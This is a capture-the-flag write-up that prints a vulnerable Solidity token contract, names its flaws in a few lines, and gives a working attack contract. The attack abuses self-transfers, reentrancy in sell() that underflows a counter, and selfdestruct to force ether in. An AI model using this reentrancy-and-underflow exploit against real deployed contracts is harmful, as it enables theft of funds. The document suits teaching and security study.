17.reentrancy @h4ck
2023-07-13 16:28:50 # 02.ChainflagCTF

reentrancy @babybank

contract

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
/**
*Submitted for verification at Etherscan.io on 2019-09-07
*/

/**
*Submitted for verification at Etherscan.io on 2019-05-31
*/

pragma solidity ^0.4.25;

contract owned {
address public owner;

constructor ()
public {
owner = msg.sender;
}

modifier onlyOwner {
require(msg.sender == owner);
_;
}

function transferOwnership(address newOwner) public
onlyOwner {
owner = newOwner;
}
}

contract challenge is owned{
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;

mapping (address => uint256) public balanceOf;
mapping (address => uint256) public sellTimes;
mapping (address => mapping (address => uint256)) public allowance;
mapping (address => bool) public winner;

event Transfer(address _from, address _to, uint256 _value);
event Burn(address _from, uint256 _value);
event Win(address _address,bool _win);


constructor (
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}

function _transfer(address _from, address _to, uint _value) internal {
require(_to != address(0x0));
require(_value > 0);

uint256 oldFromBalance = balanceOf[_from];
uint256 oldToBalance = balanceOf[_to];

uint256 newFromBalance = balanceOf[_from] - _value;
uint256 newToBalance = balanceOf[_to] + _value;

require(oldFromBalance >= _value);
require(newToBalance > oldToBalance);

balanceOf[_from] = newFromBalance;
balanceOf[_to] = newToBalance;

assert((oldFromBalance + oldToBalance) == (newFromBalance + newToBalance));
emit Transfer(_from, _to, _value);
}

function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}

function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}

function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}

function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
emit Burn(msg.sender, _value);
return true;
}

function balanceOf(address _address) public view returns (uint256 balance) {
return balanceOf[_address];
}

function buy() payable public returns (bool success){
require(balanceOf[msg.sender]==0);
require(msg.value == 1 wei);
_transfer(address(this), msg.sender, 1);
sellTimes[msg.sender] = 1;
return true;
}


function sell(uint256 _amount) public returns (bool success){
require(_amount >= 100);
require(sellTimes[msg.sender] > 0);
require(balanceOf[msg.sender] >= _amount);
require(address(this).balance >= _amount);
msg.sender.call.value(_amount)();
_transfer(msg.sender, address(this), _amount);
sellTimes[msg.sender] -= 1;
return true;
}

function winnerSubmit() public returns (bool success){
require(winner[msg.sender] == false);
require(sellTimes[msg.sender] > 100);
winner[msg.sender] = true;
emit Win(msg.sender,true);
return true;
}

function kill(address _address) public onlyOwner {
selfdestruct(_address);
}

function eth_balance() public view returns (uint256 ethBalance){
return address(this).balance;
}

}

analyses

  • _transfer(): logical vulnerability, if _from and _to are the same, the _from(or the _to) will get two times money.
  • sell(): Reentrant, underflow, compulsory transfer of funds

solve

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
pragma solidity 0.8.16;

interface IH4ck {
function buy() payable external;
function winnerSubmit() external;
function sell(uint256) external;
function transfer(address,uint256) external;
}

contract attck{
IH4ck public h4ck;
bool public isSell;

constructor(address _addr)public{
h4ck = IH4ck(_addr);
}
function steo01_getFirstMoney()public payable{
// get the first balanceOf to play the game
h4ck.buy{value: 1}();
}

function step02_TransferTogetMoreMoney()public{
// 2**8 = 256 > 100
// 1 2 4 8 16 32 64 128 256
// 256 > 200, so we can sell for two times: reentrant
uint256 moneyIteration = 1;
for(uint i = 0; i < 8; i++){
h4ck.transfer(address(this),moneyIteration);
moneyIteration *= 2;
}
}

function step03_reentrant()public{
// reentrant
h4ck.sell(100);
}

function step04_complete()public{
h4ck.winnerSubmit();
}

fallback()external payable{
if(!isSell){
isSell = true;
h4ck.sell(100);
}
}

// can't not contains a reveive()
// bacause the contract will not enter fallback() but receive() when receives money.
}

contract sendMoney{
// sell(100) ==> at least call die() with 200 wei, I choose 1000 Wei
function die(address payable _addr) public payable{
selfdestruct(_addr);
// send so money to pass the 'require(address(this).balance >= _amount)'
}
}